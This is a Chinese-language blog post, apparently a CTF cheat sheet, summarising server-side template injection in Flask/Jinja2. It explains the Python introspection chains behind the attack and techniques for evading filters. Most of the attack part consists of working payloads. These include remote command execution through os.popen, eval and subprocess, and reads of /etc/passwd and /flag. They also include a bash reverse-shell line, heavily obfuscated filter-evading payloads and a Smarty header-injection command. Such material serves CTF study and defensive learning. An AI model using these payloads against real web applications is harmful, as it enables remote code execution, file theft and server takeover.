目录

  1. 1. Flask SSTI(服务器端模板注入)
    1. 1.1. 流程
    2. 1.2. 判断SSTI类型
  2. 2. 漏洞原型
    1. 2.1. 常用魔术方法or内置类
      1. 2.1.1. __bases__
      2. 2.1.2. __mro__
      3. 2.1.3. __subclasses__()
      4. 2.1.4. __init__
      5. 2.1.5. __globals__
    2. 2.2. 可利用的模块
      1. 2.2.1. os
      2. 2.2.2. __builtins__
    3. 2.3. 获取基本类
      1. 2.3.1. config
      2. 2.3.2. request
      3. 2.3.3. url_for
      4. 2.3.4. get_flashed_messages
    4. 2.4. 常用目标函数
      1. 2.4.1. os.popen()
      2. 2.4.2. subprocess.Popen()
    5. 2.5. 常用中间对象
    6. 2.6. 过滤器
    7. 2.7. Jinja2
      1. 2.7.1. 全局函数lipsum
      2. 2.7.2. set
      3. 2.7.3. join过滤器
      4. 2.7.4. index
    8. 2.8. 过滤绕过
    9. 2.9. Payload收集
    10. 2.10. Smarty

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Flask SSTI总结

2023/4/17 Web SSTI python flask
  |     |   总文章阅读量:

Flask SSTI(服务器端模板注入)

原理:

render_template渲染函数的问题

渲染函数在渲染的时候,往往对用户输入的变量不做渲染。

也就是说例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。

流程

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

判断SSTI类型

image-20221209231042495


漏洞原型

app.py

import flask

app = Flask(__name__)

@app.route('/')
def index():
    name = "{{7*7}}"
    return render_template_string('hello %s' % name)

if __name__ == '__main__':
    app.run('127.0.0.1',8000)

常用魔术方法or内置类

比较全的整理:https://c1oudfl0w0.github.io/blog/2023/07/06/python%E7%89%B9%E6%80%A7

返回调用的参数类型/查看对象所在的类

格式为变量.__class__

''.__class__
>>> <class 'str'>
().__class__
>>> <class 'tuple'>
{}.__class__
>>> <class 'dict'>
[].__class__
>>> <class 'list'>

__bases__

返回类型列表

''.__class__.__bases__
>>> (<class 'object'>)

可以在最后加数组来查看指定的索引值

__mro__

查看继承关系和调用顺序,返回元组

''.__class__.__mro__
>>> (<class 'str'>, <class 'object'>)

__subclasses__()

返回object的子类

格式变量.__class__.__bases__[0].__subclasses__()

''.__class__.__bases__[0].__subclasses__()[4]
>>> <class 'int'>

可以在最后加数组来查看指定的索引值

__init__

初始化类,返回类型是function,可以用来跳到__globals__

__globals__

以字典类型返回当前位置的全部全局变量,与 func_globals 等价

使用方式是函数名.__globals__ 获取function所处空间下可使用的module、方法以及所有变量

因为__globals__返回的是字典,所以要使用get来获取值


可利用的模块

os

<class 'os._wrap_close'>

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
# system无回显

"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("ls").read()

__builtins__

__globals__中会包括引入了的 modules ;同时每个 python 脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

<class 'warnings.catch_warnings'>模块来调用__globals__

调用eval

[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")

''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")

x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")

调用open

''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read()

''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456')

调用file

''.__class__.__mro__[2].__subclasses__()[134].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()

获取基本类

config

获取当前application的设置,是一个用于存储应用程序配置变量的字典

如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag

request

request.method # 请求方式
request.form # 存放FormData中的数据 to_dict 序列化成字典
request.form.x1 # post传参
request.args # 获取URL中的数据 to_dict 序列化成字典
request.args.x1 # get传参
request.url # 访问的完整路径
request.path # 路由地址
request.host # 主机地址
request.values # 获取 FormData and URL中的数据 不要用to_dict
request.json  # 如果提交时请求头中的Content-Type:application/json 字典操作
request.data  # post传参,如果提交时请求头中的Content-Type 无法被识别 将请求体中的原始数据存放 byte
request.cookies # 获取Cookie中的数据
request.headers # 获取请求头
request.files # 序列化文件存储 save()

url_for

flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__[‘__builtins__‘]含有current_app

get_flashed_messages

flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__[‘__builtins__‘]含有current_app

current_app:应用上下文,一个全局变量

self

redirect

常用目标函数

os.popen()

返回一个<class ‘os._wrap_close’>对象,需要读取后才能处理

需重定向read()才能得到str

subprocess.Popen()

在python中实现多进程程序,以此执行shell

class subprocess.Popen( 
	  args, 
      bufsize=0, 
      executable=None,
      stdin=None,
      stdout=None, 
      stderr=None, 
      preexec_fn=None, 
      close_fds=False, 
      shell=False, 
      cwd=None, 
      env=None, 
      universal_newlines=False, 
      startupinfo=None, 
      creationflags=0)
参数 含义
args 字符串或者列表
shell 如果参数shell设为true,程序将通过shell来执行,且args输入应当是字符串形式,同shell窗口执行的命令 如果不设置,默认为false,则输入的args应当是字符串列表
stdout 创建Popen对象时,用于初始化stderr参数,表示将错误通过标准输出流输出 (stdout=-1)

使用.communicate()向stdin发送数据,或从stdout和stderr中读取数据

{%print(''.__clrequestass__.__mrequestro__[2].__subclarequestsses__()[258]('env',shell=True,stdout=-1).communicate())%}

file

exec

eval

常用中间对象

catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
lipsum.__globals__.__builtins__.open("/flag").read()
linecache.os.system('ls')

过滤器

官方文档:https://jinja.palletsprojects.com/en/3.0.x/templates/#filters

通过|进行使用的,它是一种特殊的占位符,告诉模板引擎这个位置的值从渲染模板时使用的数据中获取

可以链接到多个过滤器,一个滤波器的输出将应用于下一个过滤器.

过滤器相当于是一个函数,把当前的的变量传入到过滤器中,然后过滤器根据自己的功能,再返回相应的值,之后再渲染到模板页面中

其实就是可以实现一些简单的功能,比如attr()过滤器可以实现代替.join()可以将字符串进行拼接,reverse可以将字符串反置等等

length():获取一个序列或者字典的长度并将其返回
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
reverse():反转字符串;
replace(value,old,new): 将value中的old替换为new
list():将变量转换为列表类型;
string():将变量转换成字符串类型;
join():将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): 获取对象的属性
关于attr:
官方解释:foo|attr("bar") 等效于 foo["bar"] 

Jinja2

官方文档

通杀脚本库fenjing

全局函数lipsum

在模板中生成测试数据

lipsum(n=5, html=True, min=20, max=100)
生成5段HTML,每段在 20 到 100 词之间。如果 HTML 被禁用,会返回常规文本。

通常的构造思路:

可以用于得到__builtins__,而且lipsum.__globals__含有os模块

lipsum|attr("__globals__").get("os").popen("ls").read()

set

定义变量,只要定义了这个变量,在后面的代码中都可以使用此变量

join过滤器

拼接多个值为字符串

{{ [1, 2, 3]|join('|') }}
>>> 1|2|3

gl=dict(glo=a,bals=a)|join
此时gl=globals

index

取得字符出现的第一位

可以在{lipsum|string|list}得知可利用的字符时获得固定数字

过滤绕过

  • 一般都可以考虑用chr()+拼接字符串进行绕过

引号:get传参绕过

在shell中使用request.args.arequest.form.arequest.values.a,然后&a=命令

下划线:使用attr(request.values.b)然后进行get传参

获取对象的属性,(foo|attr(“bar”))的工作原理与foo.bar类似,只是总是返回一个属性,而不查找项。

osget(request.values.c)get传参即可

.:使用|attr()(见上文)

[]:__getitem__(0)

实例对象通过[]运算符取值时,会调用它的方法__getitem__

{{}}:引用变量,执行函数

​ 可用{%print+要执行的语句%}替换:逻辑代码

传参request:用~拼接命令,使用set定义变量拼接

(()|select|string|list)
查看可利用的字符(后几位是地址会随机变化)
>>> ['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '7', '7', 'a', 'd', '9', 'e', 'b', 'd', 'd', '0', '>']

(()|select|string)[0]
数组内选择可使用的字符

(()|select|string|list).pop(0)
适用于没有中括号的情况

payload

{% set a=(()|select|string|list).pop(24) %}    // a = _
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}	// globals=__globals__
{% set init=(a,a,dict(init=1)|join,a,a)|join %}		//init=__init__
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}		//builtins=__builtins__
{% set a=(lipsum|attr(globals)).get(builtins) %}	//lipsum.__globals__.__builtins__
{% set chr=a.chr %}		//调用chr()函数
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}	
//构造{%print (lipsum.__globals__.__builtins__.popen("/flag").read())%}

数字

使用countlength获取数字

{% set one=(dict(a=a)|join|length)%}
>>>  one = 1
{% set two=(dict(aa=a))|join|length)%}
>>>  two = 2

使用全角数字代替半角数字

相关脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

print

dnslog带外

init

__enter____exit__

popen

可以用system()函数,但是执行命令没有回显,可参考无回显rce


Payload收集

{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("命令").read()}}

{{config.__class__.__init__.__globals__['os'].popen('命令').read()}}

{{().__class__.__mro__[1].__subclasses__()[407]("命令",shell=True,stdout=-1).communicate()[0]}}
数组可加可不加

{{lipsum.__globals__.os.popen("命令").read()}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

过滤了_,[],{},pop,.,""

{% set po=dict(po=a,p=b)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}{% set pp=dict(pop=a,en=b)|join %}{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)('tac /flag')|attr('read')() )%}

Smarty

X-Forwarded-For:{if system('cat /f*')}{/if}